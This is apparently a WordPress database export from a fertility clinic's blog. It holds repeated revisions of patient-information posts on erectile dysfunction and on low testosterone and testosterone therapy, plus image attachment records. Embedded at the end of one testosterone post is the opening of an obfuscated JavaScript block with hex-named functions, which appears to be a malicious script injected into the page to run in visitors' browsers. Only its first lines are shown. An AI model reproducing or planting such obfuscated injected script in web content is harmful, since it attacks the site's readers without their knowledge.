years.\r\n\r\n&nbsp;\r\n\r\nED can be an early warning sign of a more serious illness, such as heart disease, high blood pressure or diabetes mellitus.\r\n\r\n&nbsp;\r\n\r\nDiagnosing and treating the condition that causes ED can improve your overall well being, as well as help restore your sexual health.\r\n\r\n&nbsp;\r\n\r\nED is diagnosed by an andrologist/urologist or other medical professional through a brief physical examination. A careful medical, social, psychological and sexual history is also taken.\r\n\r\n&nbsp;\r\n\r\nMen with ED may have tests to check for:\r\n<ul>\r\n 	<li>Low levels of the hormone testosterone</li>\r\n 	<li>Elevated levels of sugar in your blood, which are signs of diabetes</li>\r\n 	<li>Elevated levels of blood cholesterol and other lipids (fatty substances)</li>\r\n</ul>\r\n&nbsp;\r\n\r\nChanging certain habits, such as stopping medications or alcohol use may improve or eliminate ED.\r\n\r\n&nbsp;\r\n\r\nPsychological problems, such as relationship conflicts, depression or performance anxiety, can also be treated.\r\n\r\n&nbsp;\r\n\r\nThe oral medications sildenafil (Viagra) and tadalafil are considered safe and effective for treating ED for many men. They work to relax muscle cells in the penis for better blood flow and to produce a rigid erection. These medicines work in about 7 out of every 10 men with ED. They can be effective regardless of age or race. However, they only work if a man is sexually stimulated.\r\n\r\n&nbsp;\r\n\r\nDrink alcohol only in moderation and do not smoke. This may improve how you respond to drug treatment for ED.\r\n\r\n&nbsp;\r\n\r\nAs with any drug, some men may experience side effects when taking these medications. The most common are headaches, flushing (redness) of the face, runny or stuffy nose, dizziness and muscle aches. Those side effects are usually mild, but taking these drugs with alcohol may make them worse. The side effects usually disappear in a few minutes to a few hours.\r\n\r\n&nbsp;\r\n\r\nEven men who respond to these oral medications should pay attention to lifestyle factors that can affect ED. Get regular physical activity, and try to maintain normal weight and cholesterol levels.\r\n\r\n<img class=\"size-medium wp-image-313 alignleft\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/ED3-Fertility-300x170.png\" alt=\"Male Infertility Treatment\" width=\"300\" height=\"170\" />\r\n\r\nOther safe and effective options include vacuum erection devices, self-injection therapy and penile implants. These other methods are especially useful for men who cannot take tablets or do not have a satisfactory response to the medication.\r\n\r\nMen who use alternative medicines or dietary supplements for ED or for other health reasons should know that “natural” does not always mean safer. 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Dysfunction','inherit','open','closed','','sw1','','','2018-11-22 04:30:26','2018-11-22 04:30:26','',309,'http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW1.jpg',0,'attachment','image/jpeg',0),(317,1,'2018-11-21 11:44:02','2018-11-21 11:44:02','NU Fertility is an expert treating Erectile Dysfunction patients.','','','inherit','open','closed','','sw2','','','2018-11-21 11:47:13','2018-11-21 11:47:13','',309,'http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW2.jpg',0,'attachment','image/jpeg',0),(318,1,'2018-11-21 11:46:45','2018-11-21 11:46:45','','SW3','','inherit','open','closed','','sw3','','','2018-11-21 11:47:03','2018-11-21 11:47:03','',309,'http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW3.jpg',0,'attachment','image/jpeg',0),(319,1,'2018-11-21 11:47:42','2018-11-21 11:47:42','Erectile Dysfunction Treatment','','','inherit','open','closed','','sw3-2','','','2018-11-21 11:48:04','2018-11-21 11:48:04','',309,'http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW3-1.jpg',0,'attachment','image/jpeg',0),(320,1,'2018-11-21 11:48:18','2018-11-21 11:48:18','Men who have ED are unable to have or maintain a penile erection that’s firm enough for sexual intercourse and satisfaction.\r\n\r\n<img class=\"size-medium wp-image-316 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW1-300x155.jpg\" alt=\"Erectile Dysfunction Treatment\" width=\"300\" height=\"155\" />\r\n\r\nIt can cause low self-esteem, performance anxiety, depression and stress. ED may affect the quality of a marriage or intimate relationship. The good news is there are many safe and effective treatments.\r\n\r\n<img class=\"size-medium wp-image-317 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW2-300x155.jpg\" alt=\"Erectile Dysfunction Treatment\" width=\"300\" height=\"155\" />\r\n\r\nStudies show that about one half of American men over age 40 have some degree of ED. While ED becomes more common as men age, growing old is not the cause of the problem. Though sexual function may decrease with age, many men enjoy sexual activity well into their senior years.\r\n\r\n&nbsp;\r\n\r\nED can be an early warning sign of a more serious illness, such as heart disease, high blood pressure or diabetes mellitus.\r\n\r\n&nbsp;\r\n\r\nDiagnosing and treating the condition that causes ED can improve your overall well being, as well as help restore your sexual health.\r\n\r\n&nbsp;\r\n\r\nED is diagnosed by an andrologist/urologist or other medical professional through a brief physical examination. A careful medical, social, psychological and sexual history is also taken.\r\n\r\n&nbsp;\r\n\r\nMen with ED may have tests to check for:\r\n<ul>\r\n 	<li>Low levels of the hormone testosterone</li>\r\n 	<li>Elevated levels of sugar in your blood, which are signs of diabetes</li>\r\n 	<li>Elevated levels of blood cholesterol and other lipids (fatty substances)</li>\r\n</ul>\r\n&nbsp;\r\n\r\nChanging certain habits, such as stopping medications or alcohol use may improve or eliminate ED.\r\n\r\n&nbsp;\r\n\r\nPsychological problems, such as relationship conflicts, depression or performance anxiety, can also be treated.\r\n\r\n&nbsp;\r\n\r\nThe oral medications sildenafil (Viagra) and tadalafil are considered safe and effective for treating ED for many men. They work to relax muscle cells in the penis for better blood flow and to produce a rigid erection. These medicines work in about 7 out of every 10 men with ED. They can be effective regardless of age or race. However, they only work if a man is sexually stimulated.\r\n\r\n&nbsp;\r\n\r\nDrink alcohol only in moderation and do not smoke. This may improve how you respond to drug treatment for ED.\r\n\r\n&nbsp;\r\n\r\nAs with any drug, some men may experience side effects when taking these medications. The most common are headaches, flushing (redness) of the face, runny or stuffy nose, dizziness and muscle aches. Those side effects are usually mild, but taking these drugs with alcohol may make them worse. The side effects usually disappear in a few minutes to a few hours.\r\n\r\n&nbsp;\r\n\r\nEven men who respond to these oral medications should pay attention to lifestyle factors that can affect ED. Get regular physical activity, and try to maintain normal weight and cholesterol levels.\r\n\r\n&nbsp;\r\n\r\n<img class=\"size-medium wp-image-319 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW3-1-300x155.jpg\" alt=\"Erectile Dysfunction Treatment\" width=\"300\" height=\"155\" />\r\n\r\nOther safe and effective options include vacuum erection devices, self-injection therapy and penile implants. These other methods are especially useful for men who cannot take tablets or do not have a satisfactory response to the medication.\r\n\r\nMen who use alternative medicines or dietary supplements for ED or for other health reasons should know that “natural” does not always mean safer. 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class=\"size-medium wp-image-316 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW1-300x155.jpg\" alt=\"Erectile Dysfunction Treatment\" width=\"300\" height=\"155\" />\r\n\r\nIt can cause low self-esteem, performance anxiety, depression and stress. ED may affect the quality of a marriage or intimate relationship. The good news is there are many safe and effective treatments.<!--more-->\r\n\r\n<img class=\"size-medium wp-image-317 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW2-300x155.jpg\" alt=\"Erectile Dysfunction Treatment\" width=\"300\" height=\"155\" />\r\n\r\nStudies show that about one half of American men over age 40 have some degree of ED. While ED becomes more common as men age, growing old is not the cause of the problem. Though sexual function may decrease with age, many men enjoy sexual activity well into their senior years.\r\n\r\n&nbsp;\r\n\r\nED can be an early warning sign of a more serious illness, such as heart disease, high blood pressure or diabetes mellitus.\r\n\r\n&nbsp;\r\n\r\nDiagnosing and treating the condition that causes ED can improve your overall well being, as well as help restore your sexual health.\r\n\r\n&nbsp;\r\n\r\nED is diagnosed by an andrologist/urologist or other medical professional through a brief physical examination. A careful medical, social, psychological and sexual history is also taken.\r\n\r\n&nbsp;\r\n\r\nMen with ED may have tests to check for:\r\n<ul>\r\n 	<li>Low levels of the hormone testosterone</li>\r\n 	<li>Elevated levels of sugar in your blood, which are signs of diabetes</li>\r\n 	<li>Elevated levels of blood cholesterol and other lipids (fatty substances)</li>\r\n</ul>\r\n&nbsp;\r\n\r\nChanging certain habits, such as stopping medications or alcohol use may improve or eliminate ED.\r\n\r\n&nbsp;\r\n\r\nPsychological problems, such as relationship conflicts, depression or performance anxiety, can also be treated.\r\n\r\n&nbsp;\r\n\r\nThe oral medications sildenafil (Viagra) and tadalafil are considered safe and effective for treating ED for many men. They work to relax muscle cells in the penis for better blood flow and to produce a rigid erection. These medicines work in about 7 out of every 10 men with ED. They can be effective regardless of age or race. However, they only work if a man is sexually stimulated.\r\n\r\n&nbsp;\r\n\r\nDrink alcohol only in moderation and do not smoke. This may improve how you respond to drug treatment for ED.\r\n\r\n&nbsp;\r\n\r\nAs with any drug, some men may experience side effects when taking these medications. The most common are headaches, flushing (redness) of the face, runny or stuffy nose, dizziness and muscle aches. Those side effects are usually mild, but taking these drugs with alcohol may make them worse. The side effects usually disappear in a few minutes to a few hours.\r\n\r\n&nbsp;\r\n\r\nEven men who respond to these oral medications should pay attention to lifestyle factors that can affect ED. Get regular physical activity, and try to maintain normal weight and cholesterol levels.\r\n\r\n&nbsp;\r\n\r\n<img class=\"size-medium wp-image-319 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW3-1-300x155.jpg\" alt=\"Erectile Dysfunction Treatment\" width=\"300\" height=\"155\" />\r\n\r\nOther safe and effective options include vacuum erection devices, self-injection therapy and penile implants. These other methods are especially useful for men who cannot take tablets or do not have a satisfactory response to the medication.\r\n\r\nMen who use alternative medicines or dietary supplements for ED or for other health reasons should know that “natural” does not always mean safer. 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wp-image-316 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW1-300x155.jpg\" alt=\"Erectile Dysfunction Treatment\" width=\"403\" height=\"208\" />\r\n\r\nIt can cause low self-esteem, performance anxiety, depression and stress. ED may affect the quality of a marriage or intimate relationship. The good news is there are many safe and effective treatments.<!--more-->\r\n\r\n<img class=\" wp-image-317 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW2-300x155.jpg\" alt=\"Erectile Dysfunction Treatment\" width=\"391\" height=\"202\" />\r\n\r\nStudies show that about one half of American men over age 40 have some degree of ED. While ED becomes more common as men age, growing old is not the cause of the problem. Though sexual function may decrease with age, many men enjoy sexual activity well into their senior years.\r\n\r\nED can be an early warning sign of a more serious illness, such as heart disease, high blood pressure or diabetes mellitus.\r\n\r\nDiagnosing and treating the condition that causes ED can improve your overall well being, as well as help restore your sexual health.\r\n\r\nED is diagnosed by an andrologist/urologist or other medical professional through a brief physical examination. A careful medical, social, psychological and sexual history is also taken.\r\n\r\nMen with ED may have tests to check for:\r\n<ul>\r\n 	<li>Low levels of the hormone testosterone</li>\r\n 	<li>Elevated levels of sugar in your blood, which are signs of diabetes</li>\r\n 	<li>Elevated levels of blood cholesterol and other lipids (fatty substances)</li>\r\n</ul>\r\nChanging certain habits, such as stopping medications or alcohol use may improve or eliminate ED.\r\n\r\nPsychological problems, such as relationship conflicts, depression or performance anxiety, can also be treated.\r\n\r\nThe oral medications sildenafil (Viagra) and tadalafil are considered safe and effective for treating ED for many men. They work to relax muscle cells in the penis for better blood flow and to produce a rigid erection. These medicines work in about 7 out of every 10 men with ED. They can be effective regardless of age or race. However, they only work if a man is sexually stimulated.\r\n\r\n&nbsp;\r\n\r\nDrink alcohol only in moderation and do not smoke. This may improve how you respond to drug treatment for ED.\r\n\r\n&nbsp;\r\n\r\nAs with any drug, some men may experience side effects when taking these medications. The most common are headaches, flushing (redness) of the face, runny or stuffy nose, dizziness and muscle aches. Those side effects are usually mild, but taking these drugs with alcohol may make them worse. The side effects usually disappear in a few minutes to a few hours.\r\n\r\nEven men who respond to these oral medications should pay attention to lifestyle factors that can affect ED. Get regular physical activity, and try to maintain normal weight and cholesterol levels.\r\n\r\n<img class=\" wp-image-319 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW3-1-300x155.jpg\" alt=\"Erectile Dysfunction Treatment\" width=\"419\" height=\"216\" />\r\n\r\nOther safe and effective options include vacuum erection devices, self-injection therapy and penile implants. These other methods are especially useful for men who cannot take tablets or do not have a satisfactory response to the medication.\r\n\r\nMen who use alternative medicines or dietary supplements for ED or for other health reasons should know that “natural” does not always mean safer. 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</strong></h2>\r\nTestosterone is an important hormone for men. Produced by the testes, the hormone gives men many of their masculine characteristics, like facial hair and a deeper voice. It is involved with sperm production and sex drive. It also contributes to strength, bones, and muscle mass.\r\n\r\nLow testosterone, also called hypogonadism, occurs when a man’s body doesn’t produce adequate amounts of the hormone.\r\n\r\n<!--more-->\r\n\r\nHypogonadism can happen if there is a problem with the hypothalamus or pituitary gland (two areas of the brain that help trigger the production of testosterone) or with the testes themselves. For example, men who have both testes removed during treatment for testicular cancer would no longer produce enough testosterone.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>What is Andropause?</strong></h2>\r\nThe normal course of aging can also cause men’s testosterone levels to decline. This process is sometimes called “<strong>andropause</strong>,” as a comparison to female menopause. However, the drop in testosterone is much more gradual for men than the drop in estrogen that women experience. Generally, men’s testosterone levels start to decrease by about 1% each year around age 30.\r\n\r\nThe Urology Care Foundation estimates that 4 out of 10 men over age 45 have low testosterone levels.\r\n\r\nLow testosterone has also been linked to diabetes, high blood pressure, high cholesterol, obesity, HIV infection, AIDS, and long-term opioid use.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>What are the symptoms?</strong></h2>\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>Common symptoms of low testosterone include the following:</strong></h2>\r\n<ul>\r\n 	<li>Reduced sex drive, less interest in sex</li>\r\n 	<li><a href=\"https://www.nufertility.com/blog/erectile-dysfunction-ed/\" target=\"_blank\" rel=\"noopener\"><strong>Erectile dysfunction</strong></a> (weaker erections or trouble getting an erection)</li>\r\n 	<li>Decreased muscle mass</li>\r\n 	<li>Mood swings and/or depressed mood</li>\r\n 	<li>Fatigue</li>\r\n 	<li>Enlarged male breasts</li>\r\n 	<li>Anemia</li>\r\n 	<li>Loss of calcium from bones</li>\r\n</ul>\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>How is it diagnosed?</strong></h2>\r\nLow testosterone is diagnosed with a blood test. A man’s testosterone levels fluctuate throughout the day, but they are usually highest in the morning. Many doctors prefer to test at that time (7am-10am). In general, a man is diagnosed with low testosterone if his level is below 300 ng/dL.\r\n\r\nSometimes, a distinction is made between bound, free, and total testosterone. About 98% of testosterone in the body is bound. This means it is attached to proteins – albumin and sex hormone binding globulin (SHBG) - that help it travel through the bloodstream. The rest is considered free. It is not attached to any proteins. Usually, free testosterone is the type connected with <a href=\"https://www.nufertility.com/male-infertility-evaluation-and-treatment\" target=\"_blank\" rel=\"noopener\"><strong>sexual problems</strong></a>.\r\n\r\nMost of the time, doctors check total testosterone, the combination of bound and free taken together. This measurement is used to diagnose hypogonadism.\r\n\r\nA doctor might also check levels of luteinizing hormone (LH) and follicle-stimulating hormone (FSH) since these hormones work with the testes.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>How is low testosterone treated - Testosterone th</strong><strong>erapy:</strong></h2>\r\nMany men diagnosed with hypogonadism find that testosterone therapy helps <strong><a href=\"https://www.issm.info/sexual-health-qa/what-are-the-benefits-of-testosterone-therapy/\" target=\"_blank\" rel=\"noopener\">recover their sex drive and improve their mood</a></strong>. However, it may not help with erectile function if there are underlying causes of that condition, such as diabetes or heart disease.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>Testosterone therapy can be administered in several ways:</strong></h2>\r\n<ul>\r\n 	<li><strong>Gels:</strong> Most men choose this option. A testosterone gel is applied to the skin daily, usually on the upper arm or shoulder. Men using a gel should wash their hands thoroughly after applying it. They should also be careful to cover the area and make sure that the gel does not rub off on another person’s skin.</li>\r\n</ul>\r\n<img class=\" wp-image-326 aligncenter\" title=\"Testosterone Therapy\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/11/SW5-300x155.jpg\" alt=\"Testosterone Therapy\" width=\"604\" height=\"312\" />\r\n\r\nTestosterone gel application\r\n<ul>\r\n 	<li><strong>Patches:</strong> Testosterone patches stick to the skin on a man’s upper arm, back, stomach, or thigh. Used daily, patches should be rotated to different areas so that the same spot isn’t used more than once every seven days.</li>\r\n 	<li><strong>Injections:</strong> Testosterone shots can be administered by a doctor or by the man himself. They are usually needed every one to three weeks, though longer-acting preparations may be used every 3 months.</li>\r\n</ul>\r\nDepending on the treatment method, testosterone levels may remain constant throughout the day or they may rise in the morning and decrease in the evening, as is typical in the body.\r\n\r\nA man’s doctor can help him decide which method is best for him.\r\n\r\nMen should not take testosterone if their levels are normal or if they haven’t been tested. The diagnosis of low testosterone should always be made by a qualified healthcare provider.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>Follow-up?</strong></h2>\r\nFollowing up with an <strong><a href=\"https://www.nufertility.com/dr-pramod-krishnappa-andrologist\" target=\"_blank\" rel=\"noopener\">Andrologist/Urologist</a></strong> is important for men on testosterone therapy. Generally, these men should have their testosterone levels checked every 3-4 months during the first year. This can be done with a simple blood test.\r\n\r\nThe best time of day for the blood test depends on the type of therapy being used. For men using a patch, testosterone levels tend to be highest about four to eight hours after application. However, men using gels can usually have their levels checked at any time since this delivery system tends to keep levels constant throughout the day.\r\n\r\nIt’s also recommended that men on testosterone therapy periodically have digital rectal exams and PSA (prostate-specific antigen) tests to keep an eye on their prostate health.\r\n\r\nBecause testosterone therapy can increase red blood cell counts, men should also have their hemoglobin levels checked regularly.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>Side effects of Testosterone therapy:</strong></h2>\r\nLike any treatment, testosterone can have<strong> <a href=\"https://www.issm.info/sexual-health-qa/what-are-some-of-the-side-effects-and-risks-of-testosterone-therapy/\" target=\"_blank\" rel=\"noopener\">risks and side effects</a></strong>.\r\n\r\n<strong>Some of the more common side effects of testosterone therapy include the following:</strong>\r\n<ul>\r\n 	<li>Itching and irritation. This may occur wherever a testosterone patch or gel is applied. It tends to be less common for gel users.</li>\r\n 	<li>Increase in body hair</li>\r\n 	<li>Hot flashes</li>\r\n 	<li>Changes in cholesterol levels</li>\r\n 	<li>Changes in red blood cell counts</li>\r\n 	<li>Weight gain- due to salt and water retention (not fat accumulation)</li>\r\n 	<li>Acne and/or oily skin. This side effect usually ends when a man stops taking testosterone.</li>\r\n</ul>\r\nTestosterone therapy also lowers sperm counts, so it is generally not recommended for men with fertility concerns.\r\n\r\nAlthough no conclusive evidence exists, testosterone therapy is suspected to spur the growth of prostate cells and prostate cancer cells. Men with prostate cancer are usually advised against testosterone therapy. Men should be screened for prostate cancer before starting treatment.\r\n\r\nTo avoid transferring testosterone to another person, men using the gel should wash their hands immediately after applying it. Before sex, they should shower or cover the application site so the gel doesn’t transfer to the partner. For example, since men usually apply the gel to the shoulders, upper arms, or abdomen, some men wear a shirt during sex.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>Reluctance to discuss sexual problems?</strong></h2>\r\nSome men are reluctant to discuss their symptoms with a doctor, especially if they are having trouble performing sexually. In some cases, men buy over-the-counter testosterone products online or in stores. But this practice is risky, as some products contain other ingredients that can interact with drugs a man is already taking. It is always safer to see an Andrologist/Urologist.\r\n\r\nIn spite of the difficulty of discussing sexual symptoms with a doctor or a sex therapist, men who overcome their embarrassment find that receiving proper professional information and sexual counseling may contribute to successful medical treatment by testosterone.\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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12:43:23','','rewantimageswithfertilitylogo','','inherit','open','closed','','rewantimageswithfertilitylogo','','','2018-11-21 12:43:23','2018-11-21 12:43:23','',323,'http://www.nufertility.com/blog/wp-content/uploads/2018/11/rewantimageswithfertilitylogo.zip',0,'attachment','application/zip',0),(325,1,'2018-11-21 12:44:48','2018-11-21 12:44:48','NU Fertility blogs on Benefits of Optimal Testosterone.','SW4','Benefits of Optimal Testosterone','inherit','open','closed','','sw4','','','2023-09-26 05:11:26','2023-09-26 05:11:26','',323,'http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW4.jpg',0,'attachment','image/jpeg',0),(326,1,'2018-11-21 12:47:54','2018-11-21 12:47:54','','SW5','','inherit','open','closed','','sw5','','','2018-11-21 12:47:54','2018-11-21 12:47:54','',323,'http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW5.jpg',0,'attachment','image/jpeg',0),(327,1,'2018-11-21 12:49:17','2018-11-21 12:49:17','<strong>What is low testosterone?  </strong>\r\n\r\n&nbsp;\r\n\r\nTestosterone is an important hormone for men. <u>Produced by the testes,</u> the hormone gives men many of their masculine characteristics, like facial hair and a deeper voice. <u>It is involved with sperm production and sex drive.</u> It also contributes to strength, bones, and muscle mass.\r\n\r\n<img class=\"wp-image-325 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW4-300x155.jpg\" alt=\"\" width=\"629\" height=\"325\" />\r\n\r\nLow testosterone, also called hypogonadism, occurs when a man’s body doesn’t produce adequate amounts of the hormone.\r\n\r\nHypogonadism can happen if there is a problem with the hypothalamus or pituitary gland (two areas of the brain that help trigger the production of testosterone) or with the testes themselves. For example, men who have both testes removed during treatment for testicular cancer would no longer produce enough testosterone.\r\n\r\n<strong>Andropause?</strong>\r\n\r\nThe normal course of aging can also cause men’s testosterone levels to decline. This process is sometimes called “<strong>andropause</strong>,” as a comparison to female menopause. However, the drop in testosterone is much more gradual for men than the drop in estrogen that women experience. Generally, men’s testosterone levels start to decrease about 1% each year around age 30.\r\n\r\nThe Urology Care Foundation estimates that <u>4 out of 10 men over age 45 have low testosterone levels</u>.\r\n\r\nLow testosterone has also been linked to diabetes, high blood pressure, high cholesterol, obesity, HIV infection, AIDS, and long-term opioid use.\r\n\r\n<strong>What are the symptoms?</strong>\r\n\r\nCommon symptoms of low testosterone include the following:\r\n<ul>\r\n 	<li>Reduced sex drive, less interest in sex</li>\r\n 	<li>Erectile dysfunction (weaker erections or trouble getting an erection)</li>\r\n 	<li>Decreased muscle mass</li>\r\n 	<li>Mood swings and/or depressed mood</li>\r\n 	<li>Fatigue</li>\r\n 	<li>Enlarged male breasts</li>\r\n 	<li>Anemia</li>\r\n 	<li>Loss of calcium from bones</li>\r\n</ul>\r\n<strong>How is it diagnosed?</strong>\r\n\r\nLow testosterone is diagnosed with a <u>blood test</u>. A man’s testosterone levels fluctuate throughout the day, but they are usually highest in the morning. Many doctors prefer to test at that time <u>(7am-10am).</u> In general, a man is diagnosed with low testosterone if his level is <u>below 300 ng/dL.</u>\r\n\r\nSometimes, a distinction is made between bound, free, and total testosterone. About 98% of testosterone in the body is bound. This means it is attached to proteins – albumin and sex hormone binding globulin (SHBG) - that help it travel through the bloodstream. The rest is considered free. It is not attached to any proteins. Usually, free testosterone is the type connected with sexual problems.\r\n\r\nMost of the time, doctors check total testosterone, the combination of bound and free taken together. This measurement is used to diagnose hypogonadism.\r\n\r\nA doctor might also check levels of <u>luteinizing hormone (LH) and follicle-stimulating hormone (FSH)</u>, since these hormones work with the testes.\r\n\r\n<strong>How is low testosterone treated? Testosterone therapy.</strong>\r\n\r\nMany men diagnosed with hypogonadism find that testosterone therapy helps <a href=\"http://www.issm.info/sexual-health-qa/what-are-the-benefits-of-testosterone-therapy/\">recover their sex drive and improve their mood</a>. However, it may not help with erectile function if there are <u>underlying causes</u> of that condition, such as diabetes or heart disease.\r\n\r\nTestosterone therapy can be administered in several ways:\r\n<ul>\r\n 	<li><u>Gels:</u> Most men choose this option. A testosterone gel is applied to the skin daily, usually on the upper arm or shoulder. Men using a gel should wash their hands thoroughly after applying it. They should also be careful to cover the area and make sure that the gel does not rub off on another person’s skin.</li>\r\n</ul>\r\n<img class=\" wp-image-326 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW5-300x155.jpg\" alt=\"\" width=\"604\" height=\"312\" />\r\n\r\nTestosterone gel application\r\n<ul>\r\n 	<li><u>Patches:</u> Testosterone patches stick to the skin on a man’s upper arm, back, stomach, or thigh. Used daily, patches should be rotated to different areas so that the same spot isn’t used more than once every seven days.</li>\r\n 	<li><u>Injections:</u> Testosterone shots can be administered by a doctor or by the man himself. They are usually needed every one to three weeks, though longer-acting preparations may be used every 3 months.</li>\r\n</ul>\r\nDepending on the treatment method, testosterone levels may remain constant throughout the day or they may rise in the morning and decrease in the evening, as is typical in the body.\r\n\r\nA man’s doctor can help him decide which method is best for him.\r\n\r\nMen should not take testosterone if their levels are normal or if they haven’t been tested. The diagnosis of low testosterone should always be made by a qualified healthcare provider.\r\n\r\n<strong>Follow-up?</strong>\r\n\r\nFollowing up with a Andrologist/Urologist is important for men on testosterone therapy. Generally, these men should have their <u>testosterone levels checked every 3-4 months during the first year. </u>This can be done with a simple blood test.\r\n\r\nThe best time of day for the blood test <u>depends on the type of therapy</u> being used. For men using a patch, testosterone levels tend to be highest about four to eight hours after application. However, men using gels can usually have their levels checked at any time, since this delivery system tends to keep levels constant throughout the day.\r\n\r\nIt’s also recommended that men on testosterone therapy periodically have <u>digital rectal exams and PSA</u> (prostate-specific antigen) tests to keep an eye on their prostate health.\r\n\r\nBecause testosterone therapy can increase red blood cell counts, men should also have their <u>hemoglobin levels</u> checked regularly.\r\n\r\n<strong>Side effects of Testosterone therapy:</strong>\r\n\r\nLike any treatment, testosterone can have <a href=\"http://www.issm.info/sexual-health-qa/what-are-some-of-the-side-effects-and-risks-of-testosterone-therapy/\">risks and side effects</a>.\r\n\r\nSome of the more common side effects of testosterone therapy include the following:\r\n<ul>\r\n 	<li>Itching and irritation. This may occur wherever a testosterone patch or gel is applied. It tends to be less common for gel users.</li>\r\n 	<li>Increase in body hair</li>\r\n 	<li>Hot flashes</li>\r\n 	<li>Changes in cholesterol levels</li>\r\n 	<li>Changes in red blood cell counts</li>\r\n 	<li>Weight gain- due to salt and water retention (not fat accumulation)</li>\r\n 	<li>Acne and/or oily skin. This side effect usually ends when a man stops taking testosterone.</li>\r\n</ul>\r\n&nbsp;\r\n\r\n<u>Testosterone therapy also lowers sperm counts, so it is generally not recommended for men with fertility concerns.</u>\r\n\r\nAlthough no conclusive evidence exists, testosterone therapy is suspected to spur the growth of prostate cells and prostate cancer cells. Men with prostate cancer are usually advised against testosterone therapy. Men should be screened for prostate cancer before starting treatment.\r\n\r\nTo avoid transferring testosterone to another person, <u>men using the gel should wash their hands immediately after applying it. Before sex, they should shower or cover the application site so the gel doesn’t transfer to the partner</u>. For example, since men usually apply the gel to the shoulders, upper arms, or abdomen, some men wear a shirt during sex.\r\n\r\n<strong>Reluctance to discuss sexual problems?</strong>\r\n\r\nSome men are reluctant to discuss their symptoms with a doctor, especially if they are having trouble performing sexually. In some cases, men buy <u>over-the-counter testosterone products</u> online or in stores. But this <u>practice is risky</u>, as some products contain other ingredients that can interact with drugs a man is already taking. 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testes,</u> the hormone gives men many of their masculine characteristics, like facial hair and a deeper voice. <u>It is involved with sperm production and sex drive.</u> It also contributes to strength, bones, and muscle mass.\r\n\r\n<img class=\"wp-image-325 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW4-300x155.jpg\" alt=\"\" width=\"629\" height=\"325\" />\r\n\r\nLow testosterone, also called hypogonadism, occurs when a man’s body doesn’t produce adequate amounts of the hormone.\r\n\r\nHypogonadism can happen if there is a problem with the hypothalamus or pituitary gland (two areas of the brain that help trigger the production of testosterone) or with the testes themselves. For example, men who have both testes removed during treatment for testicular cancer would no longer produce enough testosterone.\r\n\r\n<strong>Andropause?</strong>\r\n\r\nThe normal course of aging can also cause men’s testosterone levels to decline. This process is sometimes called “<strong>andropause</strong>,” as a comparison to female menopause. However, the drop in testosterone is much more gradual for men than the drop in estrogen that women experience. Generally, men’s testosterone levels start to decrease about 1% each year around age 30.\r\n\r\nThe Urology Care Foundation estimates that <u>4 out of 10 men over age 45 have low testosterone levels</u>.\r\n\r\nLow testosterone has also been linked to diabetes, high blood pressure, high cholesterol, obesity, HIV infection, AIDS, and long-term opioid use.\r\n\r\n<strong>What are the symptoms?</strong>\r\n\r\nCommon symptoms of low testosterone include the following:\r\n<ul>\r\n 	<li>Reduced sex drive, less interest in sex</li>\r\n 	<li>Erectile dysfunction (weaker erections or trouble getting an erection)</li>\r\n 	<li>Decreased muscle mass</li>\r\n 	<li>Mood swings and/or depressed mood</li>\r\n 	<li>Fatigue</li>\r\n 	<li>Enlarged male breasts</li>\r\n 	<li>Anemia</li>\r\n 	<li>Loss of calcium from bones</li>\r\n</ul>\r\n<strong>How is it diagnosed?</strong>\r\n\r\nLow testosterone is diagnosed with a <u>blood test</u>. A man’s testosterone levels fluctuate throughout the day, but they are usually highest in the morning. Many doctors prefer to test at that time <u>(7am-10am).</u> In general, a man is diagnosed with low testosterone if his level is <u>below 300 ng/dL.</u>\r\n\r\nSometimes, a distinction is made between bound, free, and total testosterone. About 98% of testosterone in the body is bound. This means it is attached to proteins – albumin and sex hormone binding globulin (SHBG) - that help it travel through the bloodstream. The rest is considered free. It is not attached to any proteins. Usually, free testosterone is the type connected with sexual problems.\r\n\r\nMost of the time, doctors check total testosterone, the combination of bound and free taken together. This measurement is used to diagnose hypogonadism.\r\n\r\nA doctor might also check levels of <u>luteinizing hormone (LH) and follicle-stimulating hormone (FSH)</u>, since these hormones work with the testes.\r\n\r\n<strong>How is low testosterone treated? Testosterone therapy.</strong>\r\n\r\nMany men diagnosed with hypogonadism find that testosterone therapy helps <a href=\"http://www.issm.info/sexual-health-qa/what-are-the-benefits-of-testosterone-therapy/\">recover their sex drive and improve their mood</a>. However, it may not help with 